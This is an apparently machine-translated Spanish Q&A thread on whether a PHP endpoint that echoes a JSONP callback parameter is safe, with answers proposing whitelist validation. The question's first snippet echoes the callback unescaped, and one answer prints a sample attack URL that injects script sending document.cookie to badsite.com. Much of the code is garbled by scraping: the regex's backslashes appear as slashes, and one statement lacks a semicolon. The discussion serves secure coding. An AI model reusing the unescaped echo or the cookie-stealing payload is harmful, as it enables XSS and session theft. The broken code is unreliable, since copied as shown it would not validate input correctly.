from ejemplo php javascript jsonp

php - ejemplo - jsonp jquery



¿Es esto seguro para proporcionar JSONP? (3)

Creo que es seguro. Mientras no haga eco de $ _GET [''callback''] en otra página sin escapar. El que hace la solicitud puede poner todo lo que quiera, creo que siempre serán sus problemas, no los suyos. Esta página proporciona la definición de un nombre de función js válido: http://www.functionx.com/javascript/Lesson05.htm

<?php header(''content-type: application/json''); $json = json_encode($data); echo isset($_GET[''callback'']) ? "{$_GET[''callback'']}($json)" : $json;

¿O debería, por ejemplo, filtrar la $_GET[''callback''] para que solo contenga un nombre de función de JavaScript válido? Si es así, ¿cuáles son los nombres válidos de funciones de JavaScript?

¿O no está filtrando esa variable un poco del punto con JSONP?

Solución actual: Blogueé sobre mi solución actual en http://www.geekality.net/?p=1021 . En resumen, por ahora, tengo el siguiente código, que espero sea bastante seguro:

<?php header(''content-type: application/json; charset=utf-8''); function is_valid_callback($subject) { $identifier_syntax = ''/^[$_/p{L}][$_/p{L}/p{Mn}/p{Mc}/p{Nd}/p{Pc}/x{200C}/x{200D}]*+$/u''; $reserved_words = array(''break'', ''do'', ''instanceof'', ''typeof'', ''case'', ''else'', ''new'', ''var'', ''catch'', ''finally'', ''return'', ''void'', ''continue'', ''for'', ''switch'', ''while'', ''debugger'', ''function'', ''this'', ''with'', ''default'', ''if'', ''throw'', ''delete'', ''in'', ''try'', ''class'', ''enum'', ''extends'', ''super'', ''const'', ''export'', ''import'', ''implements'', ''let'', ''private'', ''public'', ''yield'', ''interface'', ''package'', ''protected'', ''static'', ''null'', ''true'', ''false''); return preg_match($identifier_syntax, $subject) && ! in_array(mb_strtolower($subject, ''UTF-8''), $reserved_words); } $data = array(1, 2, 3, 4, 5, 6, 7, 8, 9); $json = json_encode($data); # JSON if no callback if( ! isset($_GET[''callback''])) exit( $json ); # JSONP if valid callback if(is_valid_callback($_GET[''callback''])) exit( "{$_GET[''callback'']}($json)" ); # Otherwise, bad request header(''Status: 400 Bad Request'', true, 400);


No, si pretende limitar el JSONP para seleccionar dominios. Especifique también la codificación o las personas que no deberían poder acceder al JSON posiblemente puedan hacer ataques de inyección UTF-7. Utilice este encabezado en su lugar:

header(''Content-Type: application/json; charset=utf-8'');

Si se supone que es un servicio público de JSONP, entonces sí, es seguro, y también usa application/javascript lugar de application/json .


Para estar seguro, debe codificar la callback de callback para permitir solo nombres de función JS válidos. Nada complejo, simplemente no permita que los desarrolladores finales inyecten ningún javascript. Aquí hay un código:

<?php header(''Content-Type: application/json; charset=utf-8''); // Thanks Eli /** * Ensures that input string matches a set of whitelisted characters and * replaces unlisted ones with a replacement string (defaults to underscore). * @param string $orig The original text to filter. * @param string $replace The replacement string (default is underscore). * @param string The original text with bad characters replaced with $replace. * @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263 */ function strtoident($orig,$replace=''''){ $orig=(string)$orig; // ensure input is a string for($i=0; $i<strlen($orig); $i++){ $o=ord($orig{$i}); if(!( (($o>=48) && ($o<=57)) // numbers || (($o>=97) && ($o<=122)) // lowercase || (($o>=65) && ($o<=90)) // uppercase || ($orig{$i}==''_''))) // underscore $orig{$i}=$replace; // check failed, use replacement } return $orig; } $json=json_encode($data) echo isset($_GET[''callback'']) ? strtoident($_GET[''callback'']).''(''.$json.'');'' : $json; ?>

Editar:

La razón es evitar que los piratas informáticos indiquen a víctimas inocentes que:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append(''<script type="text/javascript" src="http://badsite.com/?usercookies=''+document.cookie+''"></script>''); })//

Que se puede descomponer en:

(function(){ $(document.body).append( ''<script type="text/javascript" src="http://badsite.com/?usercookies=''+document.cookie+''"></script>'' ); })//("whatever");

Con la última parte siendo el json que codificaste, fácilmente cancelado con un comentario (aunque no es necesario para que su exploit funcione). Básicamente, el pirata informático conoce las cookies del usuario (entre otras cosas) que le ayudan a acceder a la cuenta del usuario en su sitio web.

Edición: Compatibilidad con UTF-8. Para justificar mis reclamos, lea aquí . O:

Al igual que UTF-16 y UTF-32, UTF-8 puede representar cada carácter en el conjunto de caracteres Unicode. A diferencia de ellos, es compatible con versiones anteriores con ASCII y evita las complicaciones de endianness y marcas de orden de bytes (BOM).